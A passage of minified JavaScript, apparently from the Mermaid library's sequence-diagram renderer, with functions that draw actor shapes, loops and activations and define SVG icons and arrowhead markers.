h=ua();var f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name;let d=6,p={...h,x:h.x+-d,y:h.y+ +d,class:"actor"},m=T4(u,h);if(T4(u,p),e.rectData=h,e.properties?.icon){let y=e.properties.icon.trim();y.charAt(0)==="@"?lT(u,h.x+h.width-20,h.y+10,y.substr(1)):oT(u,h.x+h.width-20,h.y+10,y)}oh(r,kn(e.description))(e.description,u,h.x-d,h.y+d,h.width,h.height,{class:`actor ${eC}`},r);let g=e.height;if(m.node){let y=m.node().getBBox();e.height=y.height,g=y.height}return g},"drawActorTypeCollections"),tJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower(),u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua(),f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name;let d=h.height/2,p=d/(2.5+h.height/50),m=u.append("g"),g=u.append("g");if(m.append("path").attr("d",`M ${h.x},${h.y+d} + a ${p},${d} 0 0 0 0,${h.height} + h ${h.width-2*p} + a ${p},${d} 0 0 0 0,-${h.height} + Z + `).attr("class",f),g.append("path").attr("d",`M ${h.x},${h.y+d} + a ${p},${d} 0 0 0 0,${h.height}`).attr("stroke","#666").attr("stroke-width","1px").attr("class",f),m.attr("transform",`translate(${p}, ${-(h.height/2)})`),g.attr("transform",`translate(${h.width-p}, ${-h.height/2})`),e.rectData=h,e.properties?.icon){let x=e.properties.icon.trim(),b=h.x+h.width-20,T=h.y+10;x.charAt(0)==="@"?lT(u,b,T,x.substr(1)):oT(u,b,T,x)}oh(r,kn(e.description))(e.description,u,h.x,h.y,h.width,h.height,{class:`actor ${eC}`},r);let y=e.height,v=m.select("path:last-child");if(v.node()){let x=v.node().getBBox();e.height=x.height,y=x.height}return y},"drawActorTypeQueue"),rJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+75,l=t.append("g").lower();n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor";let d=e.x+e.width/2,p=i+30,m=18;u.append("defs").append("marker").attr("id","filled-head-control").attr("refX",11).attr("refY",5.8).attr("markerWidth",20).attr("markerHeight",28).attr("orient","172.5").append("path").attr("d","M 14.4 5.6 L 7.2 10.4 L 8.8 5.6 L 7.2 0.8 Z"),u.append("circle").attr("cx",d).attr("cy",p).attr("r",m).attr("fill","#eaeaf7").attr("stroke","#666").attr("stroke-width",1.2),u.append("line").attr("marker-end","url(#filled-head-control)").attr("transform",`translate(${d}, ${p-m})`);let g=u.node().getBBox();return e.height=g.height+2*(r?.sequence?.labelBoxHeight??0),oh(r,kn(e.description))(e.description,u,f.x,f.y+m+(n?5:10),f.width,f.height,{class:`actor ${Xf}`},r),e.height},"drawActorTypeControl"),nJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+75,l=t.append("g").lower(),u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor";let d=e.x+e.width/2,p=i+(n?10:25),m=18;u.append("circle").attr("cx",d).attr("cy",p).attr("r",m).attr("width",e.width).attr("height",e.height),u.append("line").attr("x1",d-m).attr("x2",d+m).attr("y1",p+m).attr("y2",p+m).attr("stroke","#333").attr("stroke-width",2);let g=u.node().getBBox();return e.height=g.height+(r?.sequence?.labelBoxHeight??0),n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr),oh(r,kn(e.description))(e.description,u,f.x,f.y+(n?(p-i+m-5)/2:(p+m-i)/2),f.width,f.height,{class:`actor ${Xf}`},r),n?u.attr("transform",`translate(0, ${m/2})`):u.attr("transform",`translate(0, ${m/2})`),e.height},"drawActorTypeEntity"),iJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height+2*r.boxTextMargin,l=t.append("g").lower(),u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua(),f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name,h.x=e.x,h.y=i;let d=h.width/4,p=h.width/4,m=d/2,g=m/(2.5+d/50),y=u.append("g"),v=` + M ${h.x},${h.y+g} + a ${m},${g} 0 0 0 ${d},0 + a ${m},${g} 0 0 0 -${d},0 + l 0,${p-2*g} + a ${m},${g} 0 0 0 ${d},0 + l 0,-${p-2*g} +`;y.append("path").attr("d",v).attr("fill","#eaeaea").attr("stroke","#000").attr("stroke-width",1).attr("class",f),n?y.attr("transform",`translate(${d*1.5}, ${h.height/4-2*g})`):y.attr("transform",`translate(${d*1.5}, ${(h.height+g)/4})`),e.rectData=h,oh(r,kn(e.description))(e.description,u,h.x,h.y+(n?(h.height+p)/4:(h.height+g)/2),h.width,h.height,{class:`actor ${eC}`},r);let x=y.select("path:last-child");if(x.node()){let b=x.node().getBBox();e.height=b.height+(r.sequence.labelBoxHeight??0)}return e.height},"drawActorTypeDatabase"),aJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+80,l=30,u=t.append("g").lower();n||(Fr++,u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let h=t.append("g"),f=Xf;n?f+=` ${Kf}`:f+=` ${jf}`,h.attr("class",f),h.attr("name",e.name);let d=ua();d.x=e.x,d.y=i,d.fill="#eaeaea",d.width=e.width,d.height=e.height,d.class="actor",h.append("line").attr("id","actor-man-torso"+Fr).attr("x1",e.x+e.width/2-l*2.5).attr("y1",i+10).attr("x2",e.x+e.width/2-15).attr("y2",i+10),h.append("line").attr("id","actor-man-arms"+Fr).attr("x1",e.x+e.width/2-l*2.5).attr("y1",i+0).attr("x2",e.x+e.width/2-l*2.5).attr("y2",i+20),h.append("circle").attr("cx",e.x+e.width/2).attr("cy",i+10).attr("r",l);let p=h.node().getBBox();return e.height=p.height+(r.sequence.labelBoxHeight??0),oh(r,kn(e.description))(e.description,h,d.x,d.y+(n?l/2-4:l/2+3),d.width,d.height,{class:`actor ${Xf}`},r),n?h.attr("transform",`translate(0,${l/2+7})`):h.attr("transform",`translate(0,${l/2+7})`),e.height},"drawActorTypeBoundary"),sJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+80,l=t.append("g").lower();n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor",f.rx=3,f.ry=3,u.append("line").attr("id","actor-man-torso"+Fr).attr("x1",a).attr("y1",i+25).attr("x2",a).attr("y2",i+45),u.append("line").attr("id","actor-man-arms"+Fr).attr("x1",a-Yf/2).attr("y1",i+33).attr("x2",a+Yf/2).attr("y2",i+33),u.append("line").attr("x1",a-Yf/2).attr("y1",i+60).attr("x2",a).attr("y2",i+45),u.append("line").attr("x1",a).attr("y1",i+45).attr("x2",a+Yf/2-2).attr("y2",i+60);let d=u.append("circle");d.attr("cx",e.x+e.width/2),d.attr("cy",i+10),d.attr("r",15),d.attr("width",e.width),d.attr("height",e.height);let p=u.node().getBBox();return e.height=p.height,oh(r,kn(e.description))(e.description,u,f.x,f.y+35,f.width,f.height,{class:`actor ${Xf}`},r),e.height},"drawActorTypeActor"),oJe=o(async function(t,e,r,n){switch(e.type){case"actor":return await sJe(t,e,r,n);case"participant":return await JZe(t,e,r,n);case"boundary":return await aJe(t,e,r,n);case"control":return await rJe(t,e,r,n);case"entity":return await nJe(t,e,r,n);case"database":return await iJe(t,e,r,n);case"collections":return await eJe(t,e,r,n);case"queue":return await tJe(t,e,r,n)}},"drawActor"),lJe=o(function(t,e,r){let i=t.append("g");Fye(i,e),e.name&&oh(r)(e.name,i,e.x,e.y+r.boxTextMargin+(e.textMaxHeight||0)/2,e.width,0,{class:"text"},r),i.lower()},"drawBox"),cJe=o(function(t){return t.append("g")},"anchorElement"),uJe=o(function(t,e,r,n,i){let a=ua(),s=e.anchored;a.x=e.startx,a.y=e.starty,a.class="activation"+i%3,a.width=e.stopx-e.startx,a.height=r-e.starty,T4(s,a)},"drawActivation"),hJe=o(async function(t,e,r,n){let{boxMargin:i,boxTextMargin:a,labelBoxHeight:s,labelBoxWidth:l,messageFontFamily:u,messageFontSize:h,messageFontWeight:f}=n,d=t.append("g"),p=o(function(y,v,x,b){return d.append("line").attr("x1",y).attr("y1",v).attr("x2",x).attr("y2",b).attr("class","loopLine")},"drawLoopLine");p(e.startx,e.starty,e.stopx,e.starty),p(e.stopx,e.starty,e.stopx,e.stopy),p(e.startx,e.stopy,e.stopx,e.stopy),p(e.startx,e.starty,e.startx,e.stopy),e.sections!==void 0&&e.sections.forEach(function(y){p(e.startx,y.y,e.stopx,y.y).style("stroke-dasharray","3, 3")});let m=t2();m.text=r,m.x=e.startx,m.y=e.starty,m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.anchor="middle",m.valign="middle",m.tspan=!1,m.width=l||50,m.height=s||20,m.textMargin=a,m.class="labelText",Bye(d,m),m=$ye(),m.text=e.title,m.x=e.startx+l/2+(e.stopx-e.startx)/2,m.y=e.starty+i+a,m.anchor="middle",m.valign="middle",m.textMargin=a,m.class="loopText",m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.wrap=!0;let g=kn(m.text)?await w4(d,m,e):o0(d,m);if(e.sectionTitles!==void 0){for(let[y,v]of Object.entries(e.sectionTitles))if(v.message){m.text=v.message,m.x=e.startx+(e.stopx-e.startx)/2,m.y=e.sections[y].y+i+a,m.class="loopText",m.anchor="middle",m.valign="middle",m.tspan=!1,m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.wrap=e.wrap,kn(m.text)?(e.starty=e.sections[y].y,await w4(d,m,e)):o0(d,m);let x=Math.round(g.map(b=>(b._groups||b)[0][0].getBBox().height).reduce((b,T)=>b+T));e.sections[y].height+=x-(i+a)}}return e.height=Math.round(e.stopy-e.starty),d},"drawLoop"),Fye=o(function(t,e){sT(t,e)},"drawBackgroundRect"),fJe=o(function(t){t.append("defs").append("symbol").attr("id","database").attr("fill-rule","evenodd").attr("clip-rule","evenodd").append("path").attr("transform","scale(.5)").attr("d","M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z")},"insertDatabaseIcon"),dJe=o(function(t){t.append("defs").append("symbol").attr("id","computer").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z")},"insertComputerIcon"),pJe=o(function(t){t.append("defs").append("symbol").attr("id","clock").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z")},"insertClockIcon"),mJe=o(function(t){t.append("defs").append("marker").attr("id","arrowhead").attr("refX",7.9).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto-start-reverse").append("path").attr("d","M -1 0 L 10 5 L 0 10 z")},"insertArrowHead"),gJe=o(function(t){t.append("defs").append("marker").attr("id","filled-head").attr("refX",15.5).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"insertArrowFilledHead"),yJe=o(function(t){t.append("defs").append("marker").attr("id","sequencenumber").attr("refX",15).attr("refY",15).attr("markerWidth",60).attr("markerHeight",40).attr("orient","auto").append("circle").attr("cx",15).attr("cy",15).attr("r",6)},"insertSequenceNumber"),vJe=o(function(t){t.append("defs").append("marker").attr("id","crosshead").attr("markerWidth",15).attr("markerHeight",8).attr("orient","auto").attr("refX",4).attr("refY",4.5).append("path").attr("fill","none").attr("stroke","#000000").style("stroke-dasharray","0, 0").attr("stroke-width","1pt").attr("d","M 1,2 L 6,7 M 6,2 L 1,7")},"insertArrowCrossHead"),$ye=o(function(){return{x:0,y:0,fill:void 0,anchor:void 0,style:"#666",width:void 0,height:void 0,textMargin:0,rx:0,ry:0,tspan:!0,valign:void 0}},"getTextObj"),xJe=o(function(){return{x:0,y:0,fill:"#EDF2AE",stroke:"#666",width:100,anchor:"start",height:100,rx:0,ry:0}},"getNoteRect"),oh=(function(){function 